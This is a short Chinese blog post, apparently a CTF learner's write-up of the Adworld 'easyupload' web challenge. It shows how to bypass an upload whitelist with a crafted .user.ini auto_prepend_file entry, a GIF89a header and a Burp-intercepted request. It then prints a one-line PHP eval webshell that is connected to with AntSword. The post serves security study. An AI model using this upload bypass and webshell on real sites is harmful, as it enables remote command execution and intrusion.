CTFer成长记录——CTF之Web专题·攻防世界—easyupload

发布时间 2023-07-29 10:13:12作者: MiracleWolf

一、题目链接

https://adworld.xctf.org.cn/challenges/list


二、解法步骤

  这题一道文件上传题,本题考的是利用.user.ini文件的特性,实现任意命令执行。在测试该文件上传是白名单还是黑名单,我们可以随便上传一个文件后缀,只要不通过就是白名单检测。

    .user.ini。它比.htaccess用的更广,不管是nginx/apache/IIS,只要是以fastcgi运行的php都可以用这个方法。
使用方法:
    指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。
    auto_prepend_file=01.gif    //01.gif是你要上传的文件

   所以,我们可以借助.user.ini轻松让所有php文件都自动包含某个文件,而这个文件可以是一个正常php文件,也可以是一个包含一句话的webshell。

  于是我们将auto_prepend_file=1.jpg写入一个空的.txt文件中,然后改名改后缀为.user.int,接着将这个文件上传。注意:直接上传是不行的,需要bp抓包,修改请求包中的文件类型,用来绕过白名单检测:注意由于该题会对文件内容进行解析,所以要加上GIF89a这个文件欺骗头,让上传系统误认为我们上传的是图片。

 最后显示上传成功。

然后就上传webshell即可:(上传的是1.jpg名称,要和.user.ini中后的文件名相同)

GIF89a //也需要包含文件欺骗头
<?=eval($_POST['cmd']);?>
//注意这里如果是<?php ?> 格式上传也是不成功的。

  

  最后找到文件路径:xxx.uploads/index.php

  用蚂剑连接即可:

三、总结

  本题的文件上传是新知识,有对.user.ini的利用和一句话木马的格式改写,应当积累下来。